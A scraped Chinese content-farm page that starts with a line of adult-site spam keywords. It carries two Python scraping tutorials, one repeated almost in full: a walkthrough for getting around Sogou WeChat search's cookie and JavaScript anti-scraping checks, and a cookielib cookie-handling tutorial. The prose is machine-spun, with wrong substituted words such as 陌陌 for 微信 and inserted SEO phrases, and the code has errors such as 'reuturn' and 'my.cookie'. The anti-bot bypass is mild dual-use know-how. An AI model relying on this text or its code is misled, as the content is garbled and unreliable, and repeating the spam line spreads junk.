亚洲国产精品无码久久大片,亚洲AV无码乱码麻豆精品国产,亚洲品质自拍网站,少妇伦子伦精品无码STYLES,国产精久久久久久久

python爬蟲(chóng)

python爬蟲(chóng)

搜狗陌陌采集 —— python爬蟲(chóng)系列一

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 647 次瀏覽 ? 2020-07-24 08:00 ? 來(lái)自相關(guān)話(huà)題

  前言:一覺(jué)醒來(lái),發(fā)現原有的搜狗陌陌爬蟲(chóng)失效了,網(wǎng)上查找一翻發(fā)覺(jué)10月29日搜狗陌陌改版了,無(wú)法通過(guò)搜索公眾號名子獲取對應文章了,不過(guò)通過(guò)搜索主題獲取對應文章還是可以的,問(wèn)題不大,開(kāi)搞!
  目的:獲取搜狗陌陌中搜索主題返回的文章。
  涉及反爬機制:cookie設置,js加密。
  完整代碼已上傳本人github,僅供參考。如果對您有幫助,勞煩看客大人給個(gè)星星!
  進(jìn)入題外話(huà)。
  打開(kāi)搜狗陌陌,在搜索框輸入“咸蛋超人”,這里搜索下來(lái)的就是有關(guān)“咸蛋超人”主題的各個(gè)公眾號的文章列表:
  
  按照正常的采集流程,此時(shí)按F12打開(kāi)瀏覽器的開(kāi)發(fā)者工具,利用選擇工具點(diǎn)擊列表中文章標題,查看源碼中列表中文章url的所在位置,再用xpath獲取文章url的值,也就是這個(gè)href的值,為防止混亂,我們稱(chēng)之為“列表頁(yè)面的文章url”。
  
  可以見(jiàn)到“列表頁(yè)面的文章url”需要拼接,一般這些情況須要在瀏覽器中正常訪(fǎng)問(wèn)一下這篇文章,對比觀(guān)察跳轉后的url(我們稱(chēng)之為“真實(shí)的文章url”),再缺頭補頭缺腿補腿即可。下面是兩個(gè)url的對比:
  列表頁(yè)面的文章url:
/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNFzn4G2S0Yt3MduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGSa3_pkMzadQg75Zhmxb9YI0psZvVepKtN4hpzQgtGa2iOlKKLwV_oxooGE6sxg1qinKxTb5VwJUcLBM1RgkzAPRtmyIGw2VAg..&type=2&query=%E5%92%B8%E8%9B%8B%E8%B6%85%E4%BA%BA&k=92&h=z
真實(shí)的文章url:
https://mp.weixin.qq.com/s?src=11&timestamp=1573092595&ver=1959&signature=FjD709D-0vHSyVgQyXCS-TUAcnT0M9Gx6JljQEb6O55zpuyyDaTHqgkRCxNDtt5ZDifDRUUBOemzxcz71FMOmO88m6RWfR0r4fFBe0VefAsjFu0pl-M0frYOnXPF5JD8&new=1
  這里很明顯兩個(gè)url的路徑不一致,應該是中間經(jīng)過(guò)了一些調轉,python的requests庫是帶手動(dòng)調轉功能,我們先把域名補上試一下訪(fǎng)問(wèn)
  
  明顯這兒做了反爬限制,那么這兒開(kāi)始,我們就須要抓包剖析了。這里用到的工具是Firefox瀏覽器的開(kāi)發(fā)者工具。抓包觀(guān)察的是從搜索結果頁(yè)面列表文章點(diǎn)擊跳轉到文章頁(yè)面的過(guò)程,這里點(diǎn)擊文章超鏈接會(huì )在新窗口打開(kāi),我們只須要在網(wǎng)頁(yè)源碼中把對應a標簽的target屬性改為空搜狗微信文章采集,就可以在一個(gè)窗口中觀(guān)察整個(gè)流程的數據包了。
  
  抓包剖析:
  
  
  通過(guò)抓包我們可以找到搜索結果頁(yè)面跳轉到文章頁(yè)面的過(guò)程,這里觀(guān)察發(fā)覺(jué),“列表頁(yè)面的文章url”返回的結果中就包含了“真實(shí)的文章url”的信息,這意味著(zhù)我們只須要正確訪(fǎng)問(wèn)到“列表頁(yè)面的文章url”,根據返回的數據能夠拼接出“真實(shí)的文章url”并訪(fǎng)問(wèn)了,這樣我們就實(shí)現從“列表頁(yè)面的文章url”到“真實(shí)的文章url”的跳轉了!
  此時(shí)我們的目標就從獲取“真實(shí)的文章url”轉變到正確的訪(fǎng)問(wèn)“列表頁(yè)面的文章url”了,繼續剖析抓包數據中的“列表頁(yè)面的文章url”信息:
  抓包數據:
  url:https://weixin.sogou.com/link% ... h%3DU
  method:GET
  請求參數:{"url":"dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNEnNekGBXt9LMduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGaBLLLEV3E0vo604DcwbvX2VNudQZNnBemevd34BJP94ZL5zUiA49LgzIjRlpGxccVxTTaLhHZKstaeqw41upSVAe0f8bRARvQ..","type":"2","query":"咸蛋超人","k":"60","h":"U"}
  headers:
    Host: weixin.sogou.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Referer: https://weixin.sogou.com/weixi ... 40108
    Cookie: 見(jiàn)下
  Cookie:{"ABTEST":"4|1573094886|v1","IPLOC":"CN4401","JSESSIONID":"aaa3VBk4eXnIf8d4bdx4w","SNUID":"57A28ED20A0F9FB2BBE3E0180AF00D25","SUID":"5EAB87DB2613910A000000005DC385E6","SUV":"00F221C2DB87AB5E5DC385E7BC43F633"}
  這里的重點(diǎn)有三個(gè):
  請求參數:對比我們獲取的“列表頁(yè)面的文章url”分析可以發(fā)覺(jué),這里多了兩個(gè)參數“k”、“h”,這是須要我們設法獲取的。headers:經(jīng)過(guò)測試該網(wǎng)站對User-Agent敏感,一次訪(fǎng)問(wèn)前后User-Agent須要一致。Cookie:Cookie中參數須要獲取能夠正確訪(fǎng)問(wèn)該url。這些參數分別是:ABTEST、IPLOC、JSESSIONID、SNUID、SUID、SUV。
  3.1:獲取參數“k”、“h”
  按照經(jīng)驗,從一個(gè)url轉變成另一個(gè)url有兩種情況:跳轉和javascript字符串處理。經(jīng)過(guò)多次抓包剖析發(fā)覺(jué),搜索結果頁(yè)面點(diǎn)擊文章超鏈接到我們現今的目標url并沒(méi)有存在跳轉情況,抓包數據中的“列表頁(yè)面的文章url”和我們獲取的“列表頁(yè)面的文章url”可以判斷為同一個(gè)url,所以推測為javascript字符串處理。經(jīng)過(guò)一番搜救,發(fā)現搜索結果頁(yè)面的源碼中有一段十分可疑的代碼:
  <script>
(function(){$("a").on("mousedown click contextmenu",function(){var b=Math.floor(100*Math.random())+1,a=this.href.indexOf("url="),c=this.href.indexOf("&amp;k=");-1!==a&amp;&amp;-1===c&amp;&amp;(a=this.href.substr(a+4+parseInt("21")+b,1),this.href+="&amp;k="+b+"&amp;h="+a)})})();
</script>
  這其中最重要的代碼就是:this.href+="&amp;k="+b+"&amp;h="+a,這代碼就是在點(diǎn)擊風(fēng)波發(fā)生時(shí)給a標簽href屬性的內容添加"&amp;k="、"&amp;h=",正是用這段代碼對該url的參數進(jìn)行js加密和添加的。我們只須要把這段代碼用python實(shí)現就可以解決這個(gè)問(wèn)題了,下面是實(shí)現python實(shí)現代碼:
  def get_k_h(url): <br />  b = int(random.random() * 100) + 1
a = url.find("url=")
url = url + "&amp;k=" + str(b) + "&amp;h=" + url[a + 4 + 21 + b: a + 4 + 21 + b + 1]<br />  reuturn url
  3.2:獲取Cookie的參數
  觀(guān)察抓包數據可以發(fā)覺(jué),當我們一開(kāi)始訪(fǎng)問(wèn)時(shí)并沒(méi)有帶任何cookie,但經(jīng)過(guò)一系列懇求,到我們的目標懇求時(shí)侯,瀏覽器早已通過(guò)上面懇求的返回數據包的Set-Cookie屬性把Cookie構造下來(lái)了,而我們要做的就是在Cookie構造從無(wú)到有這個(gè)過(guò)程中找到所有ResponseHeaders中帶SetCookie屬性的并且參數是我們須要的參數的懇求,并模擬訪(fǎng)問(wèn)一遍,就能得到所有參數并建立出我們須要的Cookie了。
  
  例如搜狗微信搜索插口的懇求的ResponseHeaders就有5個(gè)Set-Cookie數組,其中ABTEST、SNUID、IPLOC、SUID都是我們最終構造Cookie所需的參數(和最后的Cookie值對比可以發(fā)覺(jué),這里的SUID值還不是我們最終須要的,要在前面的數據包中繼續開(kāi)掘)。
  經(jīng)過(guò)剖析搜狗微信文章采集,經(jīng)過(guò)四個(gè)懇求獲取到的ResponseHeaders后我們能夠正確建立Cookie了:
  1. 得到ABTEST、SNUID、IPLOC、SUID:<br />  https://weixin.sogou.com/weixi ... %3Bbr />2. 需要IPLOC、SNUID,得到SUID:<br />  https://www.sogou.com/sug/css/m3.min.v.7.css<br />3. 需要ABTEST、IPLOC、SNUID、SUID,得到JSESSIONID:<br />  https://weixin.sogou.com/webse ... %3Bbr />4. 需要IPLOC、SNUID、SUID,得到SUV<br />  https://pb.sogou.com/pv.gif<br />
  這四個(gè)懇求都能依照上面懇求獲取到的Cookie參數來(lái)構造自己須要的Cookie去正確訪(fǎng)問(wèn)。值得注意的是最后一個(gè)懇求,除了須要正確拼接Cookie外,還須要獲取正確的懇求參數能夠正常訪(fǎng)問(wèn):
  
  這種找參數的活可以借助瀏覽器的全局搜索功能,一番搜救后,就會(huì )發(fā)覺(jué)在搜索結果頁(yè)面的源代碼中早已返回了這兒所需的所有參數,用正則把那些參數解析下來(lái)即可:
  
  那么按照這種解析下來(lái)的參數和上面三個(gè)懇求得到的Cookie參數能夠正確訪(fǎng)問(wèn)第四個(gè)懇求并得到所需的所有Cookie參數啦!
  此時(shí),我們早已剖析出所有正確模擬懇求的流程了,梳理一下:
  獲取“k”、“h”參數,傳入搜索結果頁(yè)面得到的“列表頁(yè)面的文章ur”,調用get_k_h()即可。獲取所需Cookie參數,構造正確的Cookie,按照流程三給出的4個(gè)url,分別構造懇求獲取ResponseHeaders中的SetCookie即可。構造正確的懇求訪(fǎng)問(wèn)“列表頁(yè)面的文章url”。根據3中懇求返回的數據,拼接出“真實(shí)的文章url”,也就是流程二。請求“真實(shí)的文章url”,得到真正的文章頁(yè)面數據。
  至此,所有剖析結束,可以愉快的碼代碼啦!
  結語(yǔ):此次采集涉及到的反爬技術(shù)是Cookie構造和簡(jiǎn)答的js加密,難度不大,最重要的是耐心和悉心。此外提醒諸位看客大人遵守爬蟲(chóng)道德,不要對別人網(wǎng)站造成傷害,peace! 查看全部
  前言:一覺(jué)醒來(lái),發(fā)現原有的搜狗陌陌爬蟲(chóng)失效了,網(wǎng)上查找一翻發(fā)覺(jué)10月29日搜狗陌陌改版了,無(wú)法通過(guò)搜索公眾號名子獲取對應文章了,不過(guò)通過(guò)搜索主題獲取對應文章還是可以的,問(wèn)題不大,開(kāi)搞!
  目的:獲取搜狗陌陌中搜索主題返回的文章。
  涉及反爬機制:cookie設置,js加密。
  完整代碼已上傳本人github,僅供參考。如果對您有幫助,勞煩看客大人給個(gè)星星!
  進(jìn)入題外話(huà)。
  打開(kāi)搜狗陌陌,在搜索框輸入“咸蛋超人”,這里搜索下來(lái)的就是有關(guān)“咸蛋超人”主題的各個(gè)公眾號的文章列表:
  
  按照正常的采集流程,此時(shí)按F12打開(kāi)瀏覽器的開(kāi)發(fā)者工具,利用選擇工具點(diǎn)擊列表中文章標題,查看源碼中列表中文章url的所在位置,再用xpath獲取文章url的值,也就是這個(gè)href的值,為防止混亂,我們稱(chēng)之為“列表頁(yè)面的文章url”。
  
  可以見(jiàn)到“列表頁(yè)面的文章url”需要拼接,一般這些情況須要在瀏覽器中正常訪(fǎng)問(wèn)一下這篇文章,對比觀(guān)察跳轉后的url(我們稱(chēng)之為“真實(shí)的文章url”),再缺頭補頭缺腿補腿即可。下面是兩個(gè)url的對比:
  列表頁(yè)面的文章url:
/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNFzn4G2S0Yt3MduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGSa3_pkMzadQg75Zhmxb9YI0psZvVepKtN4hpzQgtGa2iOlKKLwV_oxooGE6sxg1qinKxTb5VwJUcLBM1RgkzAPRtmyIGw2VAg..&amp;type=2&amp;query=%E5%92%B8%E8%9B%8B%E8%B6%85%E4%BA%BA&amp;k=92&amp;h=z
真實(shí)的文章url:
https://mp.weixin.qq.com/s?src=11&amp;timestamp=1573092595&amp;ver=1959&amp;signature=FjD709D-0vHSyVgQyXCS-TUAcnT0M9Gx6JljQEb6O55zpuyyDaTHqgkRCxNDtt5ZDifDRUUBOemzxcz71FMOmO88m6RWfR0r4fFBe0VefAsjFu0pl-M0frYOnXPF5JD8&amp;new=1
  這里很明顯兩個(gè)url的路徑不一致,應該是中間經(jīng)過(guò)了一些調轉,python的requests庫是帶手動(dòng)調轉功能,我們先把域名補上試一下訪(fǎng)問(wèn)
  
  明顯這兒做了反爬限制,那么這兒開(kāi)始,我們就須要抓包剖析了。這里用到的工具是Firefox瀏覽器的開(kāi)發(fā)者工具。抓包觀(guān)察的是從搜索結果頁(yè)面列表文章點(diǎn)擊跳轉到文章頁(yè)面的過(guò)程,這里點(diǎn)擊文章超鏈接會(huì )在新窗口打開(kāi),我們只須要在網(wǎng)頁(yè)源碼中把對應a標簽的target屬性改為空搜狗微信文章采集,就可以在一個(gè)窗口中觀(guān)察整個(gè)流程的數據包了。
  
  抓包剖析:
  
  
  通過(guò)抓包我們可以找到搜索結果頁(yè)面跳轉到文章頁(yè)面的過(guò)程,這里觀(guān)察發(fā)覺(jué),“列表頁(yè)面的文章url”返回的結果中就包含了“真實(shí)的文章url”的信息,這意味著(zhù)我們只須要正確訪(fǎng)問(wèn)到“列表頁(yè)面的文章url”,根據返回的數據能夠拼接出“真實(shí)的文章url”并訪(fǎng)問(wèn)了,這樣我們就實(shí)現從“列表頁(yè)面的文章url”到“真實(shí)的文章url”的跳轉了!
  此時(shí)我們的目標就從獲取“真實(shí)的文章url”轉變到正確的訪(fǎng)問(wèn)“列表頁(yè)面的文章url”了,繼續剖析抓包數據中的“列表頁(yè)面的文章url”信息:
  抓包數據:
  urlhttps://weixin.sogou.com/link% ... h%3DU
  method:GET
  請求參數:{"url":"dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNEnNekGBXt9LMduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGaBLLLEV3E0vo604DcwbvX2VNudQZNnBemevd34BJP94ZL5zUiA49LgzIjRlpGxccVxTTaLhHZKstaeqw41upSVAe0f8bRARvQ..","type":"2","query":"咸蛋超人","k":"60","h":"U"}
  headers
    Host: weixin.sogou.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Referer: https://weixin.sogou.com/weixi ... 40108
    Cookie: 見(jiàn)下
  Cookie:{"ABTEST":"4|1573094886|v1","IPLOC":"CN4401","JSESSIONID":"aaa3VBk4eXnIf8d4bdx4w","SNUID":"57A28ED20A0F9FB2BBE3E0180AF00D25","SUID":"5EAB87DB2613910A000000005DC385E6","SUV":"00F221C2DB87AB5E5DC385E7BC43F633"}
  這里的重點(diǎn)有三個(gè):
  請求參數:對比我們獲取的“列表頁(yè)面的文章url”分析可以發(fā)覺(jué),這里多了兩個(gè)參數“k”、“h”,這是須要我們設法獲取的。headers:經(jīng)過(guò)測試該網(wǎng)站對User-Agent敏感,一次訪(fǎng)問(wèn)前后User-Agent須要一致。Cookie:Cookie中參數須要獲取能夠正確訪(fǎng)問(wèn)該url。這些參數分別是:ABTEST、IPLOC、JSESSIONID、SNUID、SUID、SUV。
  3.1:獲取參數“k”、“h”
  按照經(jīng)驗,從一個(gè)url轉變成另一個(gè)url有兩種情況:跳轉和javascript字符串處理。經(jīng)過(guò)多次抓包剖析發(fā)覺(jué),搜索結果頁(yè)面點(diǎn)擊文章超鏈接到我們現今的目標url并沒(méi)有存在跳轉情況,抓包數據中的“列表頁(yè)面的文章url”和我們獲取的“列表頁(yè)面的文章url”可以判斷為同一個(gè)url,所以推測為javascript字符串處理。經(jīng)過(guò)一番搜救,發(fā)現搜索結果頁(yè)面的源碼中有一段十分可疑的代碼:
  <script>
(function(){$("a").on("mousedown click contextmenu",function(){var b=Math.floor(100*Math.random())+1,a=this.href.indexOf("url="),c=this.href.indexOf("&amp;k=");-1!==a&amp;&amp;-1===c&amp;&amp;(a=this.href.substr(a+4+parseInt("21")+b,1),this.href+="&amp;k="+b+"&amp;h="+a)})})();
</script>
  這其中最重要的代碼就是:this.href+="&amp;k="+b+"&amp;h="+a,這代碼就是在點(diǎn)擊風(fēng)波發(fā)生時(shí)給a標簽href屬性的內容添加"&amp;k="、"&amp;h=",正是用這段代碼對該url的參數進(jìn)行js加密和添加的。我們只須要把這段代碼用python實(shí)現就可以解決這個(gè)問(wèn)題了,下面是實(shí)現python實(shí)現代碼:
  def get_k_h(url): <br />  b = int(random.random() * 100) + 1
a = url.find("url=")
url = url + "&amp;k=" + str(b) + "&amp;h=" + url[a + 4 + 21 + b: a + 4 + 21 + b + 1]<br />  reuturn url
  3.2:獲取Cookie的參數
  觀(guān)察抓包數據可以發(fā)覺(jué),當我們一開(kāi)始訪(fǎng)問(wèn)時(shí)并沒(méi)有帶任何cookie,但經(jīng)過(guò)一系列懇求,到我們的目標懇求時(shí)侯,瀏覽器早已通過(guò)上面懇求的返回數據包的Set-Cookie屬性把Cookie構造下來(lái)了,而我們要做的就是在Cookie構造從無(wú)到有這個(gè)過(guò)程中找到所有ResponseHeaders中帶SetCookie屬性的并且參數是我們須要的參數的懇求,并模擬訪(fǎng)問(wèn)一遍,就能得到所有參數并建立出我們須要的Cookie了。
  
  例如搜狗微信搜索插口的懇求的ResponseHeaders就有5個(gè)Set-Cookie數組,其中ABTEST、SNUID、IPLOC、SUID都是我們最終構造Cookie所需的參數(和最后的Cookie值對比可以發(fā)覺(jué),這里的SUID值還不是我們最終須要的,要在前面的數據包中繼續開(kāi)掘)。
  經(jīng)過(guò)剖析搜狗微信文章采集,經(jīng)過(guò)四個(gè)懇求獲取到的ResponseHeaders后我們能夠正確建立Cookie了:
  1. 得到ABTEST、SNUID、IPLOC、SUID:<br />  https://weixin.sogou.com/weixi ... %3Bbr />2. 需要IPLOC、SNUID,得到SUID:<br />  https://www.sogou.com/sug/css/m3.min.v.7.css<br />3. 需要ABTEST、IPLOC、SNUID、SUID,得到JSESSIONID:<br />  https://weixin.sogou.com/webse ... %3Bbr />4. 需要IPLOC、SNUID、SUID,得到SUV<br />  https://pb.sogou.com/pv.gif<br />
  這四個(gè)懇求都能依照上面懇求獲取到的Cookie參數來(lái)構造自己須要的Cookie去正確訪(fǎng)問(wèn)。值得注意的是最后一個(gè)懇求,除了須要正確拼接Cookie外,還須要獲取正確的懇求參數能夠正常訪(fǎng)問(wèn):
  
  這種找參數的活可以借助瀏覽器的全局搜索功能,一番搜救后,就會(huì )發(fā)覺(jué)在搜索結果頁(yè)面的源代碼中早已返回了這兒所需的所有參數,用正則把那些參數解析下來(lái)即可:
  
  那么按照這種解析下來(lái)的參數和上面三個(gè)懇求得到的Cookie參數能夠正確訪(fǎng)問(wèn)第四個(gè)懇求并得到所需的所有Cookie參數啦!
  此時(shí),我們早已剖析出所有正確模擬懇求的流程了,梳理一下:
  獲取“k”、“h”參數,傳入搜索結果頁(yè)面得到的“列表頁(yè)面的文章ur”,調用get_k_h()即可。獲取所需Cookie參數,構造正確的Cookie,按照流程三給出的4個(gè)url,分別構造懇求獲取ResponseHeaders中的SetCookie即可。構造正確的懇求訪(fǎng)問(wèn)“列表頁(yè)面的文章url”。根據3中懇求返回的數據,拼接出“真實(shí)的文章url”,也就是流程二。請求“真實(shí)的文章url”,得到真正的文章頁(yè)面數據。
  至此,所有剖析結束,可以愉快的碼代碼啦!
  結語(yǔ):此次采集涉及到的反爬技術(shù)是Cookie構造和簡(jiǎn)答的js加密,難度不大,最重要的是耐心和悉心。此外提醒諸位看客大人遵守爬蟲(chóng)道德,不要對別人網(wǎng)站造成傷害,peace!

Python爬蟲(chóng)借助cookie實(shí)現模擬登錄實(shí)例解讀

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 466 次瀏覽 ? 2020-07-05 08:00 ? 來(lái)自相關(guān)話(huà)題

  Cookie,指個(gè)別網(wǎng)站為了分辨用戶(hù)身分、進(jìn)行session跟蹤而存儲在用戶(hù)本地終端上的數據(通常經(jīng)過(guò)加密)。
  舉個(gè)事例,某些網(wǎng)站是須要登陸后就能得到你想要的信息的,不登錄只能是旅客模式,那么我們可以借助Urllib2庫保存我們曾經(jīng)登陸過(guò)的Cookie,之后載入cookie獲取我們想要的頁(yè)面,然后再進(jìn)行抓取。理解cookie主要是為我們快捷模擬登陸抓取目標網(wǎng)頁(yè)作出打算。
  我之前的貼子中使用過(guò)urlopen()這個(gè)函數來(lái)打開(kāi)網(wǎng)頁(yè)進(jìn)行抓取,這僅僅只是一個(gè)簡(jiǎn)單的Python網(wǎng)頁(yè)打開(kāi)器,其參數也僅有urlopen(url,data,timeout),這三個(gè)參數對于我們獲取目標網(wǎng)頁(yè)的cookie是遠遠不夠的。這時(shí)候我們就要借助到另外一種Opener——CookieJar。
  cookielib也是Python進(jìn)行爬蟲(chóng)的一個(gè)重要模塊python爬蟲(chóng)模擬登錄python爬蟲(chóng)模擬登錄,他能與urllib2互相結合一起爬取想要的內容。該模塊的CookieJar類(lèi)的對象可以捕獲cookie并在后續聯(lián)接懇求時(shí)重新發(fā)送,這樣就可以實(shí)現我們所須要的模擬登陸功能。
  這里非常說(shuō)明一下,cookielib是在py2.7中自帶的模塊,無(wú)需重新安裝,想要查看其自帶模塊可以查看Python目錄下的Lib文件夾,里面有所有安裝的模塊。我一開(kāi)始沒(méi)想起來(lái),在pycharm中居然沒(méi)有搜到cookielib,使用了快捷安裝也報錯:Couldn't find index page for 'Cookielib' (maybe misspelled?)
  
  之后才想起來(lái)是不是自帶的就有,沒(méi)想到去lib文件夾一看還真有,白白浪費半個(gè)小時(shí)各類(lèi)瞎折騰~~
  下面我們就來(lái)介紹一下這個(gè)模塊,該模塊主要的對象有CookieJar、FileCookieJar、MozillaCookieJar、LWPCookieJar。
  它們的關(guān)系:CookieJar —-派生—-&gt;FileCookieJar —-派生—–&gt;MozillaCookieJar和LWPCookieJar 主要用法,我們下邊也會(huì )提到。urllib2.urlopen()函數不支持驗證、cookie或則其它HTTP中級功能。要支持這種功能,必須使用build_opener()(可以用于使python程序模擬瀏覽器進(jìn)行訪(fǎng)問(wèn),作用你懂得~)函數創(chuàng )建自定義Opener對象。
  1、首先我們就來(lái)獲取一下網(wǎng)站的cookie
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.CookieJar() #聲明一個(gè)CookieJar的類(lèi)對象保存cookie(注意CookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com") #opener返回的一個(gè)應答對象response
for item in my.cookie:
print"name="+item.name
print"value="+item.value
  結果:
  
name=BAIDUID
value=73BD718962A6EA0DAD4CB9578A08FDD0:FG=1
name=BIDUPSID
value=73BD718962A6EA0DAD4CB9578A08FDD0
name=H_PS_PSSID
value=1450_19035_21122_17001_21454_21409_21394_21377_21526_21189_21398
name=PSTM
value=1478834132
name=BDSVRTM
value=0
name=BD_HOME
value=0
  這樣我們就得到了一個(gè)最簡(jiǎn)單的cookie。
  2、將cookie保存到文件
  上面我們得到了cookie,下面我們學(xué)習怎么保存cookie。在這里我們使用它的泛型MozillaCookieJar來(lái)實(shí)現Cookie的保存
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.MozillaCookieJar() #聲明一個(gè)MozillaCookieJar的類(lèi)對象保存cookie(注意MozillaCookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com") #opener返回的一個(gè)應答對象response
for item in mycookie:
print"name="+item.name
print"value="+item.value
filename='mycookie.txt'#設定保存的文件名
mycookie.save(filename,ignore_discard=True, ignore_expires=True)
  將里面的事例簡(jiǎn)單變型就可以得到本例,使用了CookieJar的泛型MozillaCookiJar,為什么呢?我們將MozillaCookiJar換成CookieJar試試,下面一張圖你能夠明白:
  
  CookieJar是沒(méi)有保存save屬性的~
  save()這個(gè)方式中:ignore_discard的意思是雖然cookies將被遺棄也將它保存出來(lái),ignore_expires的意思是假如在該文件中cookies早已存在,則覆蓋原文件寫(xiě)入,在這里,我們將這兩個(gè)全部設置為T(mén)rue。運行以后,cookies將被保存到cookie.txt文件中,我們查看一下內容:
  
  這樣我們就成功保存了我們想要的cookie
  3、從文件中獲取cookie并訪(fǎng)問(wèn) 查看全部

  Cookie,指個(gè)別網(wǎng)站為了分辨用戶(hù)身分、進(jìn)行session跟蹤而存儲在用戶(hù)本地終端上的數據(通常經(jīng)過(guò)加密)。
  舉個(gè)事例,某些網(wǎng)站是須要登陸后就能得到你想要的信息的,不登錄只能是旅客模式,那么我們可以借助Urllib2庫保存我們曾經(jīng)登陸過(guò)的Cookie,之后載入cookie獲取我們想要的頁(yè)面,然后再進(jìn)行抓取。理解cookie主要是為我們快捷模擬登陸抓取目標網(wǎng)頁(yè)作出打算。
  我之前的貼子中使用過(guò)urlopen()這個(gè)函數來(lái)打開(kāi)網(wǎng)頁(yè)進(jìn)行抓取,這僅僅只是一個(gè)簡(jiǎn)單的Python網(wǎng)頁(yè)打開(kāi)器,其參數也僅有urlopen(url,data,timeout),這三個(gè)參數對于我們獲取目標網(wǎng)頁(yè)的cookie是遠遠不夠的。這時(shí)候我們就要借助到另外一種Opener——CookieJar。
  cookielib也是Python進(jìn)行爬蟲(chóng)的一個(gè)重要模塊python爬蟲(chóng)模擬登錄python爬蟲(chóng)模擬登錄,他能與urllib2互相結合一起爬取想要的內容。該模塊的CookieJar類(lèi)的對象可以捕獲cookie并在后續聯(lián)接懇求時(shí)重新發(fā)送,這樣就可以實(shí)現我們所須要的模擬登陸功能。
  這里非常說(shuō)明一下,cookielib是在py2.7中自帶的模塊,無(wú)需重新安裝,想要查看其自帶模塊可以查看Python目錄下的Lib文件夾,里面有所有安裝的模塊。我一開(kāi)始沒(méi)想起來(lái),在pycharm中居然沒(méi)有搜到cookielib,使用了快捷安裝也報錯:Couldn't find index page for 'Cookielib' (maybe misspelled?)
  
  之后才想起來(lái)是不是自帶的就有,沒(méi)想到去lib文件夾一看還真有,白白浪費半個(gè)小時(shí)各類(lèi)瞎折騰~~
  下面我們就來(lái)介紹一下這個(gè)模塊,該模塊主要的對象有CookieJar、FileCookieJar、MozillaCookieJar、LWPCookieJar。
  它們的關(guān)系:CookieJar —-派生—-&gt;FileCookieJar —-派生—–&gt;MozillaCookieJar和LWPCookieJar 主要用法,我們下邊也會(huì )提到。urllib2.urlopen()函數不支持驗證、cookie或則其它HTTP中級功能。要支持這種功能,必須使用build_opener()(可以用于使python程序模擬瀏覽器進(jìn)行訪(fǎng)問(wèn),作用你懂得~)函數創(chuàng )建自定義Opener對象。
  1、首先我們就來(lái)獲取一下網(wǎng)站的cookie
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.CookieJar() #聲明一個(gè)CookieJar的類(lèi)對象保存cookie(注意CookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com";) #opener返回的一個(gè)應答對象response
for item in my.cookie:
print"name="+item.name
print"value="+item.value
  結果:
  
name=BAIDUID
value=73BD718962A6EA0DAD4CB9578A08FDD0:FG=1
name=BIDUPSID
value=73BD718962A6EA0DAD4CB9578A08FDD0
name=H_PS_PSSID
value=1450_19035_21122_17001_21454_21409_21394_21377_21526_21189_21398
name=PSTM
value=1478834132
name=BDSVRTM
value=0
name=BD_HOME
value=0
  這樣我們就得到了一個(gè)最簡(jiǎn)單的cookie。
  2、將cookie保存到文件
  上面我們得到了cookie,下面我們學(xué)習怎么保存cookie。在這里我們使用它的泛型MozillaCookieJar來(lái)實(shí)現Cookie的保存
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.MozillaCookieJar() #聲明一個(gè)MozillaCookieJar的類(lèi)對象保存cookie(注意MozillaCookieJar的大小寫(xiě)問(wèn)題)
